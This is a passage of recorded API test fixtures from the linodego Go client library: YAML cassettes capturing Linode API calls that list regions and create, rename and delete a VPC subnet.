"Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728777614507000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728777741426000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74456, "label": "go-test-vpc-1720728777614507000", "description": "", "region": "us-iad", "subnets": [{"id": 72309, "label": "linodego-vpc-test-1720728777741426000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-vpc-test-1720728777741426000"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74456/subnets/72309 method: PUT response: body: '{"id": 72309, "label": "linodego-vpc-test-1720728777741426000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74456 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVPC_Subnet_Update_Invalid_Label.yaml000066400000000000000000000630241474652371000342550ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": 